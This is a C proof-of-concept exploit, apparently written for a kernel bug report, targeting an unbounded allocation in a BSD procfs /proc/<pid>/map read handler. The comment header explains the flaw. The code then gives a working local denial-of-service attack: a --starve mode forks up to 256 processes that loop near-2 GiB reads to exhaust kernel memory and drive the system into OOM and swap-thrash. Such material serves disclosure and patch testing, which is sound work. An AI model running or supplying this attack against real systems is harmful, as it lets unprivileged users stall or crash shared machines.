/*
 * alloc_dos.c - DF-0924 PoC: attacker-controlled kernel heap allocation
 *               size via read() resid in /proc/<pid>/map.
 *
 * procfs_domap() at sys/vfs/procfs/procfs_map.c:61 computes
 *     buflen = uio->uio_offset + uio->uio_resid
 * and (after the >= INT_MAX guard at :75) does
 *     sbuf_new(sb, NULL, buflen+1, 0)
 * which, with flag 0 (no SBUF_AUTOEXTEND), makes sbuf_newbuf() at
 * sys/kern/subr_sbuf.c:197 do an up-front
 *     s->s_buf = kmalloc(s->s_size, M_SBUF, M_WAITOK|M_ZERO)
 * of the attacker-chosen size.  uio_resid is set by the read() length,
 * so the caller alone decides how many bytes the kernel kmallocs up front.
 *
 * This PoC has two modes:
 *
 *   --time       time pread() with a small resid vs a HUGE (≈2 GiB) resid
 *                on the same fd; the huge-resid call takes vastly longer
 *                because the kernel must kmalloc AND zero ~2 GiB before
 *                it can copy a few KB of actual /proc/self/map output.
 *                This proves the size of the kernel allocation is set by
 *                the caller's read length (the bug).
 *
 *   --starve     fork N children, each looping pread() with HUGE resid,
 *                while the parent samples vm.stats.vm.v_free_count every
 *                0.25 s.  Concurrent in-flight kernel allocations push
 *                freemem toward zero and the system into OOM/swap-thrash.
 *
 * Build: cc -O2 -o alloc_dos alloc_dos.c
 * Run:   ./alloc_dos --time
 *        ./alloc_dos --starve       # run alongside: vmstat -w 1
 */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/wait.h>

#define HUGE_RESID   0x7ffffff0L   /* just under INT_MAX -> ≈2 GiB sbuf */
#define SMALL_RESID  4096
#define PATH         "/proc/self/map"

static double
now_sec(void)
{
    struct timespec ts;
    clock_gettime(CLOCK_MONOTONIC, &ts);
    return ts.tv_sec + ts.tv_nsec / 1e9;
}

static long
free_pages(void)
{
    const char *name = "vm.stats.vm.v_free_count";
    unsigned int val = 0;
    size_t sz = sizeof(val);
    if (sysctlbyname(name, &val, &sz, NULL, 0) != 0)
        return -1;
    return (long)val;
}

static long
page_size(void)
{
    long ps = sysconf(_SC_PAGESIZE);
    return ps > 0 ? ps : 4096;
}

/* Single pread that exercises procfs_domap with a chosen resid. */
static ssize_t
do_pread(int fd, long resid)
{
    /* Only the first min(sbuf_len, resid) bytes get written to user
       space, so we only need a modest user buffer. */
    char buf[8192];
    return pread(fd, buf, (size_t)resid, 0);
}

static int
mode_time(void)
{
    int fd = open(PATH, O_RDONLY);
    if (fd < 0) { perror("open " PATH); return 1; }

    /* Warm the vnode so we measure procfs_domap, not first-open plumbing. */
    do_pread(fd, SMALL_RESID);

    double t0, t1;
    ssize_t n;

    t0 = now_sec();
    n = do_pread(fd, SMALL_RESID);
    t1 = now_sec();
    if (n < 0) { perror("pread small"); close(fd); return 1; }
    printf("[time] resid=%-10d  pread=%-6zd  kernel-side elapsed=%.6f s\n",
           SMALL_RESID, n, t1 - t0);

    t0 = now_sec();
    n = do_pread(fd, HUGE_RESID);
    t1 = now_sec();
    if (n < 0) { perror("pread huge"); close(fd); return 1; }
    printf("[time] resid=0x%08lx pread=%-6zd  kernel-side elapsed=%.6f s\n",
           (unsigned long)HUGE_RESID, n, t1 - t0);

    printf("\nThe huge-resid call returned the SAME few KB of map output,\n"
           "but took orders of magnitude longer: the kernel kmalloc'd and\n"
           "zero-filled ~%ld MiB up front (procfs_map.c:77 -> subr_sbuf.c:197)\n"
           "before discarding almost all of it. Caller controls the kmalloc size.\n",
           HUGE_RESID / (1L << 20));

    close(fd);
    return 0;
}

static volatile int stop = 0;

static void
child_loop(void)
{
    int fd = open(PATH, O_RDONLY);
    if (fd < 0) _exit(1);
    while (!stop) {
        if (do_pread(fd, HUGE_RESID) < 0) break;
    }
    close(fd);
    _exit(0);
}

static int
mode_starve(int nproc, int secs)
{
    long ps = page_size();
    printf("[starve] forking %d children, each looping pread resid=0x%08lx\n",
           nproc, (unsigned long)HUGE_RESID);
    printf("[starve] peak transient kernel alloc target ≈ %d × %ld MiB = %ld MiB\n",
           nproc, HUGE_RESID / (1L << 20), (long)nproc * HUGE_RESID / (1L << 20));
    printf("[starve] page=%ld ; sampling freemem every 0.25 s for %d s\n\n", ps, secs);

    pid_t pids[256];
    if (nproc > 256) nproc = 256;
    for (int i = 0; i < nproc; i++) {
        pid_t p = fork();
        if (p == 0) { child_loop(); _exit(0); }
        if (p < 0) { perror("fork"); nproc = i; break; }
        pids[i] = p;
    }

    long f0 = free_pages();
    long fmin = f0;
    printf("  t=0.0s  free_pages=%ld  (%ld MiB)\n", f0, f0 * ps / (1 << 20));
    for (int s = 0; s < secs * 4; s++) {
        if (usleep(250000) != 0) break;
        long f = free_pages();
        if (f < fmin) fmin = f;
        printf("  t=%.1fs  free_pages=%ld  (%ld MiB)  min=%ld\n",
               (s + 1) * 0.25, f, f * ps / (1 << 20), fmin);
        fflush(stdout);
    }

    stop = 1;
    for (int i = 0; i < nproc; i++) {
        int st;
        /* If a child wedged in M_WAITOK kmalloc, SIGTERM may not interrupt
           immediately; give it a moment, then KILL. */
        kill(pids[i], SIGTERM);
        usleep(100000);
        waitpid(pids[i], &st, WNOHANG);
        kill(pids[i], SIGKILL);
        waitpid(pids[i], &st, 0);
    }

    long f1 = free_pages();
    printf("\n[starve] free_pages start=%ld  min_observed=%ld  end=%ld\n",
           f0, fmin, f1);
    printf("[starve] min free = %ld MiB (= %ld pages)\n",
           fmin * ps / (1 << 20), fmin);
    return 0;
}

int
main(int argc, char **argv)
{
    if (argc >= 2 && strcmp(argv[1], "--starve") == 0) {
        int nproc = (argc >= 3) ? atoi(argv[2]) : 4;
        int secs  = (argc >= 4) ? atoi(argv[3]) : 8;
        return mode_starve(nproc, secs);
    }
    return mode_time();
}
